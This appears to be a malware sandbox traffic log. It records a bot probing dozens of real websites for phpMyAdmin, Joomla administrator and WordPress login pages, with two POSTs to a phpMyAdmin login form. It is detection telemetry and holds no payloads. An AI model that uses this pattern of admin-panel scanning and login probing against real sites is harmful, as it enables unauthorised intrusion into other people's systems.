Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: walshfam.comAccept: /Accept-Encoding: deflate, gzipCookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: directa-plus.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: topshelfgames.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /domain_profile.cfm?d=uniqueaustralian.com HTTP/1.1Host: www.hugedomains.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: activegraphics.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: topshelfgames.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: lunarrastar.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: ads-ecuador.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin HTTP/1.1Host: artusopastry.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: bvox.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: lsmnutrition.comAccept: /Accept-Encoding: deflate, gzipCookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: www.guymassey.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: www.qihabitats.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: bvox.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://bvox.com/administrator/
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: justinsweet.comAccept: /Accept-Encoding: deflate, gzipCookie: dps_site_id=us-east-1User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://justinsweet.com/administrator/
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: www.texasopendoor.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: greenlawnfertilizing.comAccept: /Accept-Encoding: deflate, gzipCookie: __cfruid=51b2c07972f11457876a1a8b596b46148bb1a362-1703038399; __cf_bm=NlX5Z2_FukgdJcsS9lcmVM.sHG_GjRM5t1Dh4A.vnLU-1703038399-1-AcjChHl6Lg2sHesyBRA6/sQaMJKsM90K8ZNT/gl9WtQ30hLCqLhOw0GDQPfa2EfRlkrb7xU1xI+VNOkhd1XouK8=User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.greenlawnfertilizing.com/administrator/
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: geoffreynolds.com.auAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.geoffreynolds.com.au/administrator/
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: artusopastry.comAccept: /Accept-Encoding: deflate, gzipCookie: secure_customer_sig=; localization=US; _shopify_s=da286ed0-9dea-4b75-992f-3a28275da3f1; _shopify_y=8f3cee06-9740-4021-9ca0-e476d849f090; _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22merchant_geo%22%3A%22USNY%22%2C%22sale_of_data_region%22%3Afalse%7DUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://artusopastry.com/administrator
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: www.lisvankooten.comAccept: /Accept-Encoding: deflate, gzipCookie: cookie-consent=%7B%22allowStrictlyNecessaryCookies%22%3Atrue%2C%22allowFunctionalityCookies%22%3Atrue%2C%22allowPerformanceCookies%22%3Atrue%2C%22allowTargetingCookies%22%3Atrue%2C%22allowInternalPerformanceCookies%22%3Atrue%7D; is_mobile=0; language=enUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.lisvankooten.com/administrator/
Source: global traffic	HTTP traffic detected: GET /en_US/whois-suspension-netsol.jsp HTTP/1.0Host: www.registrar-transfers.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: lsmnutrition.comAccept: /Accept-Encoding: deflate, gzipCookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://lsmnutrition.com/administrator/
Source: global traffic	HTTP traffic detected: POST /phpmyadmin/index.php HTTP/1.1Host: entexclusives.comAccept: /Accept-Encoding: deflate, gzipCookie: phpMyAdmin_https=r05krhip9pivgd16av2t5hbfc9; pma_lang_https=enUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://entexclusives.com/phpmyadmin/Content-Length: 152Content-Type: application/x-www-form-urlencoded
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: www.devnetmedia.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: london.com.trAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: topshelfgames.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://topshelfgames.com/administrator/
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: majormega.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://majormega.com/administrator/
Source: global traffic	HTTP traffic detected: GET /domain_profile.cfm?d=uniqueaustralian.com HTTP/1.1Host: www.hugedomains.comAccept: /Accept-Encoding: deflate, gzipCookie: site_version_phase=108; site_version=HDv3User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.hugedomains.com/domain_profile.cfm?d=uniqueaustralian.com
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: www.greenlawnfertilizing.comAccept: /Accept-Encoding: deflate, gzipCookie: __cfruid=51b2c07972f11457876a1a8b596b46148bb1a362-1703038399; __cf_bm=NlX5Z2_FukgdJcsS9lcmVM.sHG_GjRM5t1Dh4A.vnLU-1703038399-1-AcjChHl6Lg2sHesyBRA6/sQaMJKsM90K8ZNT/gl9WtQ30hLCqLhOw0GDQPfa2EfRlkrb7xU1xI+VNOkhd1XouK8=User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.greenlawnfertilizing.com/administrator/
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: www.geoffreynolds.com.auAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.geoffreynolds.com.au/administrator/
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: horsetech.comAccept: /Accept-Encoding: deflate, gzipCookie: wp_ga4_customerGroup=NOT%20LOGGED%20IN; PHPSESSID=2d83c9d4949587af521c01ac5e471a19User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: www.u90soccercenter.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.u90soccercenter.com/administrator
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: lunarrastar.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: wethepros.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=dynadot.ExpiredParking.9CC26559-5E11-4B25-8CC2-E5B51E33A42F; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /en_US/whois-suspension-netsol.jsp HTTP/1.0Host: www.registrar-transfers.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: www.atelcommunications.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: lunarrastar.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://lunarrastar.com/administrator/
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: filmboxstudios.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: wethepros.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=dynadot.ExpiredParking.9CC26559-5E11-4B25-8CC2-E5B51E33A42F; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: directa-plus.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://directa-plus.com/administrator/
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: walshfam.comAccept: /Accept-Encoding: deflate, gzipCookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: geoffreynolds.com.auAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: greenlawnfertilizing.comAccept: /Accept-Encoding: deflate, gzipCookie: __cfruid=7c8794dbb9bf517796947dff97fab44d4974ccf3-1703038404; __cf_bm=fZwpL11j4L7WrdeL4euLn8ZdyRvVQKL2VBe1odLoH8c-1703038404-1-AWr2KhWI4ZYtMTn7GJ6/GMiNrPu+mgk/QfPQ6FUqWa1pAxsJXPdSrpHPA0A0MWW0wBT+laSVOsf3Gz7PHCaYgd0=User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: horsetech.comAccept: /Accept-Encoding: deflate, gzipCookie: wp_ga4_customerGroup=NOT%20LOGGED%20IN; PHPSESSID=418218dce1ee6c20da692277ffb53164User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://horsetech.com/administrator/
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: ornos.comAccept: /Accept-Encoding: deflate, gzipCookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin HTTP/1.1Host: www.newriverclimbing.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: directa-plus.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: mobiamericas.comAccept: /Accept-Encoding: deflate, gzipCookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: www.texasopendoor.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: ads-ecuador.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: http://ads-ecuador.com/wp-login.php
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: majormega.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://majormega.com/administrator/
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: hildebrandproject.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: www.ecochild.com.auAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: a2b-internet.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: twohillsstudio.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: www.plastikolor.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin HTTP/1.1Host: www.u90soccercenter.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: www.orangutech.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: walshfam.comAccept: /Accept-Encoding: deflate, gzipCookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://walshfam.com/wp-login.php
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: wethepros.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=dynadot.ExpiredParking.9CC26559-5E11-4B25-8CC2-E5B51E33A42F; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://wethepros.com/administrator/
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: filmboxstudios.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://filmboxstudios.com/wp-login.php
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: ornos.comAccept: /Accept-Encoding: deflate, gzipCookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: ornos.comAccept: /Accept-Encoding: deflate, gzipCookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://ornos.com/wp-login.php
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: www.atelcommunications.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.atelcommunications.com/administrator/
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: mobiamericas.comAccept: /Accept-Encoding: deflate, gzipCookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://mobiamericas.com/wp-login.php
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: filmboxstudios.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: entexclusives.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: www.newriverclimbing.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: www.tgcan.co.ukAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: activegraphics.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: walshfam.comAccept: /Accept-Encoding: deflate, gzipCookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: www.greenlawnfertilizing.comAccept: /Accept-Encoding: deflate, gzipCookie: __cfruid=7c8794dbb9bf517796947dff97fab44d4974ccf3-1703038404; __cf_bm=fZwpL11j4L7WrdeL4euLn8ZdyRvVQKL2VBe1odLoH8c-1703038404-1-AWr2KhWI4ZYtMTn7GJ6/GMiNrPu+mgk/QfPQ6FUqWa1pAxsJXPdSrpHPA0A0MWW0wBT+laSVOsf3Gz7PHCaYgd0=User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: lsmnutrition.comAccept: /Accept-Encoding: deflate, gzipCookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: topshelfgames.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: majormega.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin HTTP/1.1Host: artusopastry.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: ads-ecuador.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: bvox.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: www.geoffreynolds.com.auAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: bvox.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin HTTP/1.1Host: www.ecochild.com.auAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-admin HTTP/1.1Host: www.orangutech.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.orangutech.com/wp-login.php
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: www.lisvankooten.comAccept: /Accept-Encoding: deflate, gzipCookie: is_mobile=0User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /a/collinsgordonhenry.com/sites/system/app/pages/meta/domainWelcome HTTP/1.1Host: sites.google.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: hildebrandproject.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://hildebrandproject.org/
Source: global traffic	HTTP traffic detected: GET /wp-admin HTTP/1.1Host: www.ecochild.com.auAccept: /Accept-Encoding: deflate, gzipCookie: cart_currency=AUD; _shopify_s=f4370588-22dc-4936-9050-f60901d9890d; _shopify_y=14dfed51-0a51-4931-9843-c12b424147f2; _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22merchant_geo%22%3A%22AU%22%2C%22sale_of_data_region%22%3Afalse%7DUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.ecochild.com.au/wp-login.php
Source: global traffic	HTTP traffic detected: POST /phpmyadmin/index.php HTTP/1.1Host: entexclusives.comAccept: /Accept-Encoding: deflate, gzipCookie: phpMyAdmin_https=no4s0u4uctaiupcci9rchgkorh; pma_lang_https=enUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://entexclusives.com/phpmyadmin/Content-Length: 153Content-Type: application/x-www-form-urlencoded
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: artusopastry.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
